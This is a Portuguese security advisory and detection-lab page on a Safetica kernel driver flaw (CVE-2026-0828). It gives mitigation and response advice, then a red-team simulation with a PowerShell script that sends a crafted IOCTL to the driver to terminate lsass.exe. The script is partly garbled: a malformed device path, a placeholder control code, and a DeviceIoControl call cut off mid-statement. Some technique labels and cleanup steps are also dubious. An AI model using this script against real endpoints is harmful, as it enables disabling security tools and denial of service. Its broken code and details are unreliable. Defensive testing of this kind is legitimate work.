Safetica contém uma vulnerabilidade no driver do kernel

Resumo

Uma falha no driver de kernel ProcessMonitorDriver.sys da Safetica permite que um usuário sem privilégios abuse de uma interface IOCTL para terminar processos arbitrários do sistema. Isso pode habilitar a negação de serviço e a interrupção de ferramentas de segurança nos endpoints afetados. O problema pode ser explorado para eliminar agentes EDR e outros serviços críticos, reduzindo rapidamente a cobertura defensiva. Nenhum patch do fornecedor está atualmente disponível.

Investigação

O relatório documenta o CVE-2026-0828 no ProcessMonitorDriver.sys em várias versões do cliente DLP da Safetica. Mostra que a fraca validação de entrada permite que a terminação de processos ocorra com privilégios elevados do driver através de chamadas IOCTL manipuladas. O impacto na monitoração de segurança dos endpoints é enfatizado.

Mitigação

Monitore chamadas IOCTL suspeitas para o driver, confie em EDR ou telemetria do host e restrinja o acesso ao driver usando a Política de Grupo do Windows, WDAC ou AppLocker. Até que uma correção seja lançada, bloqueie binários não confiáveis de interagir com o ProcessMonitorDriver.sys.

Resposta

Detecte atividade IOCTL anormal direcionada ao ProcessMonitorDriver.sys, isole sistemas afetados e aplique controles de política para negar acesso ao driver. Aumente os logs, alerte sobre interações não privilegiadas e considere desativar o driver como uma solução temporária.

Execução de Simulação

Pré-requisito: O Check de Pré-Voo de Telemetria & Baseline deve ter passado.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e narrativas DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.

• Narrativa & Comandos do Ataque:
  O operador da equipe vermelha visa explorar a vulnerabilidade no ProcessMonitorDriver.sys driver para terminar um processo arbitrário de alta prioridade (lsass.exe). Eles conseguem isso manipulando um payload IOCTL malicioso que instrui o driver a fechar o handle do PID alvo, sequestrando assim o fluxo de execução (T1574) e evadindo mecanismos de defesa típicos (T1211). Os passos são:

  1. Resolva o PID do lsass.exe.
  2. Abra um handle para o driver vulnerável (.ProcessMonitorDriver).
  3. Construa um buffer IOCTL contendo o PID alvo e um código de comando que dispara a terminação do processo.
  4. Invoque DeviceIoControl com um código de controle malicioso (0xdeadbeef).
  5. Feche o handle do driver.

• Script de Teste de Regressão:

  # Simulação de Exploit para ProcessMonitorDriver.sys (CVE-2026-0828)
  # -------------------------------------------------------------
  # Este script envia um IOCTL malicioso para o driver vulnerável para
  # terminar o processo LSASS, gerando o evento Sysmon EventID 10
  # que a regra de detecção observa.
  
  # 1. Localizar PID do LSASS
  $targetProcess = Get-Process -Name lsass -ErrorAction Stop
  $targetPid = $targetProcess.Id
  Write-Host "PID Alvo (lsass): $targetPid"
  
  # 2. Abra um handle para o driver
  $driverPath = ".ProcessMonitorDriver"
  $file = [System.IO.File]::Open($driverPath, 'Open', 'ReadWrite', 'None')
  $handle = $file.SafeFileHandle
  
  # 3. Construa o buffer IOCTL malicioso (PID + dados fictícios)
  $bufferSize = 8
  $buffer = New-Object byte[] $bufferSize
  [BitConverter]::GetBytes([uint32]$targetPid).CopyTo($buffer, 0)
  [BitConverter]::GetBytes([uint32]0xFFFFFFFF).CopyTo($buffer, 4) # preenchimento
  
  # 4. Defina o código IOCTL malicioso (exemplo: 0xdeadbeef)
  $ioctlCode = 0xdeadbeef
  
  # 5. Invoque DeviceIoControl via P/Invoke
  $signature = @"
  using System;
  using System.Runtime.InteropServices;
  public class NativeMethods {
      [DllImport("kernel32.dll", SetLastError = true)]
      public static extern bool DeviceIoControl(
          IntPtr hDevice,
          uint dwIoControlCode,
          byte[] lpInBuffer,
          int nInBufferSize,
          byte[] lpOutBuffer,
          int nOutBufferSize,
          out int lpBytesReturned,
          IntPtr lpOverlapped);
  }
  "@
  Add-Type $signature
  
  $bytesReturned = 0
  $outBuffer = New-Object byte[] 0
  $result = [NativeMethods]::DeviceIoControl(
                $handle,
                $ioctlCode,
                $buffer,
                $buffer.Length,
                $outBuffer,
                0,
                [ref]$bytesReturned,
  
  if ($result) {
      Write-Host "IOCTL enviado com sucesso – a terminação do LSASS pode ter ocorrido."
  } else {
      $err = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
      Write-Error "DeviceIoControl falhou (Erro $err)."
  }
  
  # 6. Limpeza
  $file.Close()

• Comandos de Limpeza:

  # Remova quaisquer handles de driver restantes (melhor esforço)
  # Garanta que o LSASS seja reiniciado se terminado (para um laboratório seguro)
  if (Get-Process -Name lsass -ErrorAction SilentlyContinue) {
      Write-Host "LSASS ainda em execução – nenhuma limpeza necessária."
  } else {
      Write-Host "Reiniciando o LSASS (requer privilégios de administrador)…"
      # Em uma máquina de teste você pode reiniciar ou usar um cmdlet de reinício de serviço
      # Restart-Service -Name "lsass" -Force
  }